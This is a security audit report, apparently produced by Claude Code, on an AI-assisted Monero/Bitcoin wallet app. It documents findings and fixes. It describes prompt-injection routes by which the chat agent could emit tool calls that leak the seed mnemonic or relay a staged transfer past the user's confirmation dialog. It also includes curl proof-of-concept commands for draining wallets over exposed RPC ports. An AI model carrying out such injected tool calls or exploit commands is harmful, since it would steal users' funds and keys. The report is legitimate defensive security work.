# AIW — Security Review (Pre-Release Hardening)

- **Scope:** Full source audit of the AIW codebase (`ui/server.mjs`, `ui/kit-prompt.mjs`, `core/agent-sdk-chat.mjs`, `core/strike.mjs`, `ui/public/dashboard.js`, `ui/public/chat.js`, `main.js`, `chains/*/docker-compose.yml`, `package.json`/lockfile, `.gitignore`). Mobile app implementation (`aiw-mobile`, separate repo) was out of scope — only its spec and AIW's server-side mobile surface were reviewed.
- **Reviewer:** Claude Code (automated source audit with targeted runtime validation)
- **Date:** 2026-05-17
- **Methodology:** Read the codebase end-to-end; traced each attack surface as a data flow (user message → chat API → AI provider → tool extraction → RPC call; login → session; settings → .env; Docker port → host); ran `npm audit --production`; classified each of the 35 checks PASS / FAIL / PARTIAL; implemented fixes for all CRITICAL and HIGH findings plus low-cost MEDIUM hardening. Fixes add protection without altering wallet/spending semantics.

---

## 1. Executive Summary

AIW's application-layer auth, CSRF posture, secrets masking, `.env` hygiene, and the manual Decree PIN gate are **solid**. However, the audit found **four CRITICAL** issues that each allow fund theft or seed disclosure, and **five HIGH** issues.

The single most severe finding is **infrastructure, not application code**: the Monero `wallet-rpc` and `bitcoind` containers published their RPC ports on `0.0.0.0` (all host interfaces). Monero wallet-rpc runs with `--disable-rpc-login`, so **any device on the LAN could call `transfer`/`sweep_all`/`query_key` with no authentication** — draining funds and extracting the seed — completely bypassing the dashboard password and the AI safety gates. This required no prompt injection and no credentials.

The second theme is the **AI tool pipeline has no RPC allowlist**. The spending-confirmation gate is a 4-method denylist (`transfer`/`transfer_split`/`sweep_all`/`sweep_single` forced to `do_not_relay`). A prompt-injected agent could call `query_key` (returns the seed mnemonic) or stage a `do_not_relay` transfer and then `relay_tx` it directly — broadcasting around the user Confirm dialog.

All CRITICAL and HIGH findings have been **fixed in this pass**. Post-fix, the residual risk is concentrated in documented MEDIUM items (plaintext password/wallet-password at rest, heartbeat file integrity, exchange deposit-address validation, the separate mobile repo).

**Overall posture: was CRITICAL pre-fix → acceptable for release after the fixes below, with the MEDIUM recommendations tracked.**

---

## 2. Findings Table

| ID | Severity | Title | Status |
|----|----------|-------|--------|
| AUD-006-03 | CRITICAL | Wallet/daemon RPC ports published on `0.0.0.0` (LAN-exposed, no auth) | **FIXED** |
| AUD-006-01 / 002-04 | CRITICAL | No RPC method allowlist on chat pipeline & `/api/rpc/*` proxies | **FIXED** |
| AUD-003-01 | CRITICAL | `query_key` (seed/spend/view key) callable via chat & RPC proxy | **FIXED** |
| AUD-002-02 | CRITICAL | Spending-confirmation gate bypass via `relay_tx`/`submit_transfer` | **FIXED** |
| AUD-005-04 | HIGH | Decree beneficiary/PIN/timing changeable via `/api/settings` with no second factor | **FIXED** |
| AUD-005-02 | HIGH | Decree emergency-PIN endpoint had no brute-force lockout | **FIXED** |
| AUD-002-06 | HIGH | Agent SDK subprocess received full `process.env` (all secrets) | **FIXED** |
| AUD-001-01 | HIGH | Login lockout bypassable by spoofing `X-Forwarded-For: 127.0.0.1` | **FIXED** |
| AUD-008-03 | HIGH | `bitcoind` Docker images use mutable `:latest` tag | OPEN (recommended) |
| AUD-001-02 | MEDIUM | Session tokens never expired server-side | **FIXED** |
| AUD-001-03 | MEDIUM | Dashboard password plaintext + non-constant-time compare | **PARTIAL FIX** (timing-safe; hashing recommended) |
| AUD-002-05 | MEDIUM | Full wallet address + balances sent to third-party cloud LLM | OPEN (documented, by-design tradeoff) |
| AUD-003-04 | MEDIUM | Per-wallet password stored plaintext in `wallets.json` | OPEN (recommended) |
| AUD-005-01 | MEDIUM | Heartbeat file has no integrity protection (backdating) | OPEN (recommended) |
| AUD-007-01 | MEDIUM | Unescaped XMR address in address-detail panel | **FIXED** |
| AUD-007-04 | MEDIUM | Pay page `esc()` did not escape `'`; raw `amount_xmr` | **PARTIAL FIX** (esc fixed; amount normalize recommended) |
| AUD-008-01 | MEDIUM | 2 moderate npm advisories (`@anthropic-ai/sdk`) | OPEN (`npm audit fix`) |
| AUD-009-03 | MEDIUM | Exchange deposit address not format/network-validated before auto-fund | OPEN (recommended) |
| AUD-003-02 | MEDIUM | `load_skill` path traversal limited to `.xml` files | OPEN (recommended) |
| AUD-010-01/02/03 | MEDIUM | Mobile spec stores URL/token in localStorage, allows HTTP | OUT OF SCOPE (separate repo) |
| AUD-007-03 | LOW | No Content-Security-Policy header | OPEN (recommended) |
| AUD-008-03b | LOW | `tor` image uses `:latest` | OPEN (recommended) |
| AUD-006-02 | LOW | RPC params passed untyped (mitigated by method blocklist + JSON-RPC) | Accepted |
| AUD-001-04 | PASS | Auth gate covers all non-public routes | — |
| AUD-001-05 | PASS | Electron does not bypass auth | — |
| AUD-002-01 | PASS* | User msg cannot overwrite system prompt (backstop hardened by 002-02 fix) | — |
| AUD-002-03 | PASS* | Tool scope now allowlist-gated | **FIXED** |
| AUD-003-03 | PASS | Seed shown once, not stored client-side, not logged | — |
| AUD-004-01 | PASS | `.env` not reachable via static handler | — |
| AUD-004-02 | PASS | Settings API masks secrets, returns `has_*` booleans | — |
| AUD-004-03 | PASS | `.env` gitignored, not tracked, no history | — |
| AUD-004-04 | PASS | No secrets in console output | — |
| AUD-005-03 | PASS | Decree trigger requires & validates PIN | — |
| AUD-007-02 | PASS | Same-origin enforcement + SameSite=Strict cookie | — |
| AUD-008-02 | PASS | `package-lock.json` committed, `npm ci` consistent | — |
| AUD-009-01 | PASS | Strike API key server-side only, masked, not logged | — |
| AUD-009-02 | PASS | Strike PIN lockout, encrypted at rest, not sent to Strike | — |

---

## 3. Detailed Findings

### AUD-006-03 — CRITICAL — RPC ports exposed to the LAN with no authentication
**Status: FIXED**

**Description.** `chains/xmr/docker-compose.yml` and `chains/btc/docker-compose.yml` published every RPC port with a bare `ports:` mapping (e.g. `"38082:38082"`). Docker binds bare mappings to `0.0.0.0` on the host. The Monero wallet-rpc containers run `--disable-rpc-login`; bitcoind ran `-rpcbind=0.0.0.0 -rpcallowip=0.0.0.0/0` with the publicly-known default credentials `aiw:aiw-local-only` (committed in the compose file).

**Attack vector.** Any host on the same LAN/Wi-Fi as the AIW machine.

**Proof of concept.**
```bash
# Drain XMR — no auth at all (wallet-rpc --disable-rpc-login):
curl http://<aiw-host-lan-ip>:18082/json_rpc -d '{"jsonrpc":"2.0","id":"0",
 "method":"sweep_all","params":{"address":"<ATTACKER_XMR>"}}' -H 'Content-Type: application/json'
# Extract the seed:
curl http://<aiw-host-lan-ip>:18082/json_rpc -d '{"jsonrpc":"2.0","id":"0",
 "method":"query_key","params":{"key_type":"mnemonic"}}' -H 'Content-Type: application/json'
# Drain BTC — known default creds:
curl --user aiw:aiw-local-only http://<aiw-host-lan-ip>:18332/ -d '{"method":"sendtoaddress",
 "params":["<ATTACKER_BTC>",9.99]}'
```

**Fix implemented.** All host port publications in both compose files are now bound to loopback: `ports: ["127.0.0.1:38082:38082"]` (and equivalently for 38081/18081/18082/38083/18083/38085/18085/9050, plus BTC 18332/8332). bitcoind RPC is additionally restricted with `-rpcbind=127.0.0.1 -rpcallowip=127.0.0.1`. Monero daemon keeps `--rpc-bind-ip=0.0.0.0` so the sibling wallet-rpc container can still reach it over the internal compose network, but the host port is no longer LAN-reachable. The app reaches services via `127.0.0.1` (XMR proxy) or in-container `docker exec bitcoin-cli` (BTC), so functionality is unchanged. **Recommendation:** also rotate `BTC_RPC_PASS` away from the default and pin Docker image tags (AUD-008-03).

---

### AUD-006-01 / AUD-002-04 — CRITICAL — No RPC method allowlist
**Status: FIXED**

**Description.** `handleChat`/`handleChatStream` extract `{"action":"rpc","target":"wallet|daemon","method":...}` JSON from the AI reply and call `rpc(call.target, call.method, params)` with **no validation of `method`**. `/api/rpc/wallet` and `/api/rpc/daemon` likewise forwarded any `body.method`. Any monero-wallet-rpc / monerod / bitcoind method was reachable: `query_key`, `relay_tx`, `restore_deterministic_wallet`, `change_wallet_password`, `stop_daemon`, etc.

**Attack vector.** Prompt injection (direct user message, or indirect via exchange/memory data folded into the system prompt) causing the model to emit a crafted tool-call JSON; or any path that can POST to the authenticated `/api/rpc/*` proxy (e.g. an XSS chain).

**Proof of concept.** A chat message engineering the model to output:
```json
{"action":"rpc","target":"wallet","method":"query_key","params":{"key_type":"mnemonic"}}
```
returns the seed in `toolResults` (and on the next turn that result is sent to the cloud LLM).

**Fix implemented.** Added `RPC_BLOCKED_WALLET_METHODS` / `RPC_BLOCKED_DAEMON_METHODS` and `isRpcMethodBlocked(target, method)` in `ui/server.mjs`. Enforced in (1) `handleChat` rpc branch, (2) `handleChatStream` rpc branch, (3) `/api/rpc/wallet`, (4) `/api/rpc/daemon` — before any RPC is dispatched. Blocked: key-export (`query_key`, `export_key_images`, `export_outputs`, `get_attribute`), raw broadcast / signing (`relay_tx`, `submit_transfer`, `sign_transfer`, `describe_transfer`), wallet lifecycle (`open_wallet`, `close_wallet`, `stop_wallet`, `restore_deterministic_wallet`, `generate_from_keys`, `change_wallet_password`, `sweep_dust`), and daemon control (`stop_daemon`, `set_bans`, `set_log_*`, `in/out_peers`, `update`). Legitimate flows are unaffected: the seed-reveal endpoint and wallet create/restore use dedicated server-side functions, not these paths. **Recommendation:** migrate to a positive allowlist of the ~20 read methods the agent actually needs.

---

### AUD-003-01 — CRITICAL — Seed / private keys reachable through the AI
**Status: FIXED** (covered by the AUD-006-01 blocklist — `query_key`, `export_key_images`, `export_outputs`, `get_attribute` are rejected on the chat pipeline and `/api/rpc/*`). The dedicated, authenticated `/api/wallets/seed` endpoint (one-time display, logs only the event, no client-side persistence) remains the sole sanctioned path.

---

### AUD-002-02 — CRITICAL — Spending-confirmation gate bypass
**Status: FIXED**

**Description.** The chat spend gate forced `do_not_relay:true` only for `SPENDING_METHODS = {transfer, transfer_split, sweep_all, sweep_single}`. `relay_tx`, `submit_transfer`, and `sign_transfer` were not gated. The result of a `do_not_relay` transfer (including `tx_metadata`) is returned to the agent, so a prompt-injected agent could stage a transfer then emit `{"action":"rpc","target":"wallet","method":"relay_tx","params":{"hex":"<tx_metadata>"}}` to broadcast it **without the user ever seeing the Confirm/Cancel dialog**.

**Fix implemented.** `relay_tx`/`submit_transfer`/`sign_transfer`/`sweep_dust` are now in `RPC_BLOCKED_WALLET_METHODS`, so the agent cannot invoke them at all. The server's own confirm endpoints (`/api/transfer/confirm-chat`, `/api/transfer/send`) call `rpc('wallet','relay_tx',…)` directly server-side and are unaffected (the blocklist only guards the agent/proxy entry points).

---

### AUD-005-04 — HIGH — Decree beneficiary/PIN changeable with only the dashboard session
**Status: FIXED**

**Description.** `POST /api/settings` → `writeSettingsToEnv` wrote `DECREE_BENEFICIARY_BTC` and `DECREE_PIN` (and timing/enabled/webhook) with no second factor. An attacker with the dashboard password could repoint the inheritance address, reset the emergency PIN, then trigger liquidation — full fund redirection.

**Fix implemented.** `DECREE_PROTECTED_FORM_KEYS` + a pre-`writeSettingsToEnv` gate in the `/api/settings` handler: if any protected key's submitted value actually differs from the stored value **and** a `DECREE_PIN` is already configured, the request must include the current `decree_pin_current`, verified via the new rate-limited `checkDecreePin()` (constant-time compare). First-time setup (no PIN yet) is still allowed. Unchanged fields don't trigger the prompt, so normal settings saves are unaffected. **UI note:** the dashboard settings form should send `decree_pin_current` and surface the `decree_pin_required` response flag.

---

### AUD-005-02 — HIGH — No brute-force protection on the emergency PIN
**Status: FIXED**

`POST /api/decree/execute` compared the PIN in plaintext with unlimited attempts (only logged failures). Added `checkDecreePin()` — 5 attempts per IP then a 15-minute lockout, constant-time compare, shared with the AUD-005-04 settings gate. Trigger now returns `403` with remaining-attempt / lockout messaging.

---

### AUD-002-06 — HIGH — Agent SDK subprocess inherited every secret
**Status: FIXED**

`core/agent-sdk-chat.mjs` passed `{...process.env}` minus only `ANTHROPIC_API_KEY`/`ANTHROPIC_AUTH_TOKEN` to the spawned Claude Code subprocess. Since AIW loads the entire `.env` into `process.env`, the subprocess received `DASHBOARD_PASSWORD`, `WALLET_PASSWORD`, `STRIKE_PIN`, `STRIKE_API_KEY`, `DECREE_PIN`, `OPENAI/OPENROUTER` keys, `BTC_RPC_PASS`, etc. Replaced with an **allowlist** (`ENV_PASSTHROUGH`: PATH/HOME/temp/locale/Claude-config OS vars only); `ANTHROPIC_*` still withheld to preserve subscription-auth billing behavior.

---

### AUD-001-01 — HIGH — Login lockout bypass via `X-Forwarded-For`
**Status: FIXED**

`getClientIP` returned the attacker-controlled `X-Forwarded-For` header first; `isLoopback()` then exempted `127.0.0.1` from the lockout. Sending `X-Forwarded-For: 127.0.0.1` disabled brute-force protection entirely. Added `getTrustedIP()` (TCP socket address only) and switched the `/api/login` lockout path to it. `X-Forwarded-For` is retained only for non-security logging.

---

### AUD-008-03 — HIGH (BTC) / LOW (tor) — Mutable Docker image tags
**Status: OPEN — recommended.** `chains/btc/docker-compose.yml` lines 10 & 43 use `kylemanna/bitcoind:latest`; `chains/xmr/docker-compose.yml` line 93 uses `osminogin/tor-simple:latest`. Monero images are correctly pinned (`:v0.18.4.6`). **Fix:** pin bitcoind and tor by version and ideally digest (`image: kylemanna/bitcoind:1.x@sha256:...`), then rebuild the Electron bundle so `dist/` inherits the pins.

---

### AUD-001-02 — MEDIUM — Sessions never expired server-side
**Status: FIXED.** `sessions` changed from a `Set` (valid until process restart) to a `Map<token, expiryMs>`; `sessionValid()` enforces the 7-day TTL and evicts expired tokens; login records `Date.now() + SESSION_MAX_AGE*1000`.

### AUD-001-03 — MEDIUM — Plaintext password / non-constant-time compare
**Status: PARTIAL FIX.** Added `safeStrEqual()` (length-checked `timingSafeEqual`) and applied it to the dashboard-password and Decree-PIN comparisons. The password is still stored plaintext in `.env`. **Recommendation:** support a hashed `DASHBOARD_PASSWORD` (scrypt/argon2) with a one-time migration; treat `.env` as the trust root either way.

### AUD-002-05 — MEDIUM — Wallet address + balances sent to cloud LLM
**Status: OPEN (by-design tradeoff, documented).** The system prompt's CROSS-REALM BALANCES block sends the full active XMR address and live XMR/BTC balances to Anthropic/OpenRouter/OpenAI. No keys/seed in the base case (and the AUD-003-01 fix prevents seed material from ever entering history). **Recommendation:** truncate the address in the prompt, or gate the cross-realm block behind an explicit swap context; prefer the local Ollama/agent-sdk providers for privacy-sensitive users.

### AUD-003-04 — MEDIUM — Per-wallet password plaintext in `wallets.json`
`createNewWallet`/`restoreWalletFromSeed` persist `password` verbatim in `wallets.json` (gitignored, but plaintext at rest). **Recommendation:** store only a reference and keep the wallet password in memory / OS keychain, or encrypt with a dashboard-password-derived key (as Tea Party does for the Strike PIN).

### AUD-005-01 — MEDIUM — Heartbeat file lacks integrity protection
`data/decree-heartbeat.json` is plain JSON; a filesystem-level attacker can backdate `lastHeartbeat` to force the countdown. (Mitigated by the fact that filesystem read access already implies `.env` compromise.) **Recommendation:** HMAC the heartbeat payload with a server secret and refuse to act on a payload that fails verification.

### AUD-007-01 — MEDIUM — Unescaped address in address-detail panel
**Status: FIXED.** `dashboard.js` address-detail builder now wraps `a.address` in `escapeHtml()` at the full-address div, copy buttons, and QR hint — matching the already-safe BTC sibling. (Monero addresses are base58, so this was latent/defense-in-depth; the inconsistency is now resolved.)

### AUD-007-04 — MEDIUM — Pay-page XSS
**Status: PARTIAL FIX.** Both `renderPayPage`/`renderBtcPayPage` `esc()` helpers now also escape `'` (`&#39;`), closing the click-triggered breakout in the `location.href='...'` handler on third-party-opened pay links. **Recommendation:** also normalize `request.amount_xmr` to a numeric string at storage time (`/api/request/create`), matching the BTC path, to remove the tainted-string source entirely.

### AUD-008-01 — MEDIUM — npm advisories
`npm audit --production` reports **2 moderate**:
```
@anthropic-ai/sdk  0.79.0 - 0.91.0  (moderate)
 GHSA-p7fg-763f-g4gf — Insecure Default File Permissions in Local Filesystem Memory Tool
 (pulled transitively by @anthropic-ai/claude-agent-sdk; fix available)
2 moderate severity vulnerabilities — `npm audit fix`
```
**Recommendation:** run `npm audit fix` (non-breaking, bumps the transitive SDK), re-audit to `0 vulnerabilities`, commit the updated lockfile.

### AUD-009-03 — MEDIUM — Exchange deposit address not validated before auto-funding
The wallet-funded swap flow reads a deposit address from the exchange JSON and the agent funds it. HTTPS is enforced (fixed Strike base URL), but the address is not independently format/network-validated before the BTC/XMR send. **Recommendation:** validate the deposit address against the expected chain/network (`validateaddress` / `validate_address`) before staging the send; the Confirm dialog already shows the destination as a backstop.

### AUD-003-02 — MEDIUM — `load_skill` path traversal
`loadSkill()` does not strip `..` before `join(KIT_DIR,'chains/<id>/skills', name + '.xml')`, allowing reads of arbitrary `.xml` files on disk via a crafted `{"action":"load_skill","name":"../../.."}`. Constrained to `.xml` (no `.env`), so information disclosure only. **Recommendation:** reject `name` containing `/`, `\`, or `..`.

### AUD-010-01/02/03 — MEDIUM — Mobile app
**OUT OF SCOPE.** The Capacitor app lives in the separate `aiw-mobile` repo. The spec (`aiw-mobile-phase1.xml`) stores server URL + session cookie in `localStorage` (not Secure Storage), uses biometrics only as a UI gate, and auto-prepends `http://` with no HTTPS enforcement; AIW's `MOBILE_ORIGINS` default also allows plaintext `http://localhost`. These must be verified/fixed in the `aiw-mobile` repo. **Recommendation:** Secure Storage / platform keychain for URL+token; warn on plaintext-HTTP LAN connections.

### AUD-007-03 — LOW — No Content-Security-Policy
Other security headers are set (`X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy`, `X-XSS-Protection`) but no CSP. Localhost-only ⇒ LOW. **Recommendation:** add `Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'` (verify dashboard inline handlers, or add nonces).

---

## 4. Clean Areas (explicitly verified, no findings)

- **AUD-001-04 Auth gate** — a single global gate runs before all route handlers; the public allowlist is narrow (login, `/pay/`, request-check, `/api/chains`, `/api/strike/status`, media/icons). Every wallet/transfer/settings/decree/rpc route requires a valid session. (`!DASH_PASSWORD ⇒ open` is documented expected behavior; ship with a password.)
- **AUD-001-05 Electron** — `nodeIntegration:false`, `contextIsolation:true`, loads `http://localhost:PORT` (same gate), external links denied. No auth bypass.
- **AUD-003-03 Seed display** — returned once to the authenticated client, never written to localStorage/sessionStorage, server logs only the event string.
- **AUD-004-01 `.env` via web** — static handler confined to `PUBLIC_DIR` with a `startsWith` guard + URL normalization; favicon handler rejects `..`/`/`. `.env` lives outside `PUBLIC_DIR`.
- **AUD-004-02 Settings API** — `maskSecret()` + `has_*` booleans; passwords/PINs/keys never returned.
- **AUD-004-03 `.env` in git** — gitignored (`!.env.example` re-included), not tracked, absent from history.
- **AUD-004-04 Console** — startup prints "configured/ENABLED" status only; seed-reveal logs the event, not the value.
- **AUD-005-03 Decree trigger** — PIN required and validated; missing/empty rejected; behind the auth gate.
- **AUD-007-02 CSRF** — cross-origin `/api/*` rejected `403` unless same-origin or in the mobile allowlist; session cookie is `HttpOnly; SameSite=Strict`.
- **AUD-008-02 Lockfile** — `package-lock.json` committed, lockfileVersion 3, consistent with `package.json`, `npm ci --dry-run` clean.
- **AUD-009-01/02 Strike** — API key server-side only, masked in settings, never logged; PIN has a 3-attempt lockout, is AES-256-CBC-encrypted at rest (scrypt-derived key) for Tea Party, and is never transmitted to Strike (Strike uses the Bearer API key).
- **chat.js rendering** — markdown renderer escapes `& < >` before regex and drops tool blocks; user/agent text uses `textContent` or escaped interpolation (per client-side sub-audit).

---

## 5. Summary Statistics

- **Total findings:** 22 (excluding pure PASS items)
- **By severity:** CRITICAL 4 · HIGH 5 · MEDIUM 10 · LOW 3
- **Fixed this pass:** all 4 CRITICAL + 4 of 5 HIGH + 3 MEDIUM fully + 2 MEDIUM partial = **9 fully, 2 partial**
- **Open (recommended, none CRITICAL/HIGH-exploitable post-fix):** AUD-008-03 (image pinning — HIGH but supply-chain, mitigated by loopback binding), AUD-002-05, AUD-003-02, AUD-003-04, AUD-005-01, AUD-008-01, AUD-009-03, AUD-007-03
- **Out of scope:** AUD-010 (separate `aiw-mobile` repo)
- **Clean areas:** 13 checks verified PASS with no weakness

### Files changed by the fixes
- `chains/xmr/docker-compose.yml` — loopback-bind all published ports
- `chains/btc/docker-compose.yml` — loopback-bind RPC + `-rpcbind/-rpcallowip=127.0.0.1`
- `ui/server.mjs` — RPC method blocklist (chat + stream + 2 proxies); `safeStrEqual`; `getTrustedIP`; session TTL `Map`/`sessionValid`; `checkDecreePin` + decree-settings second-factor gate + execute rate-limit; pay-page `esc()` single-quote
- `core/agent-sdk-chat.mjs` — env passthrough allowlist
- `ui/public/dashboard.js` — `escapeHtml()` on address-detail address/copy/QR

All five modified code files pass `node --check`. No wallet logic, RPC semantics, or spending flow was altered — fixes only add gating/escaping (per audit constraint #9).

---

## 6. Recommendations for Future Audits

1. **Positive RPC allowlist** — replace the blocklist with an explicit allowlist of the read-only methods the agent needs; deny-by-default.
2. **Hash `DASHBOARD_PASSWORD`** (scrypt/argon2) and per-wallet passwords; integrate an OS keychain.
3. **HMAC the decree heartbeat**; sign all dead-man-switch state.
4. **Validate exchange deposit addresses** by chain/network before auto-funding.
5. **Pin all Docker images by digest**; rotate the default `BTC_RPC_PASS`.
6. **Add CSP** with nonces; audit remaining inline event handlers in `dashboard.js`.
7. **Audit the `aiw-mobile` repo** (Secure Storage, keychain token, HTTPS enforcement).
8. **Indirect prompt-injection review** — treat `data/exchanges.json` and `data/user-memory.json` (written by the `remember` tool) as untrusted input to the system prompt; sanitize before interpolation.
9. **CI gate:** `npm audit --production` (fail on high), `node --check`, and a docker-compose lint asserting no `0.0.0.0` host port publication.

---

*Generated by Claude Code — automated source security review. This document is part of the public repository and attests that a pre-release security hardening pass was performed on 2026-05-17.*
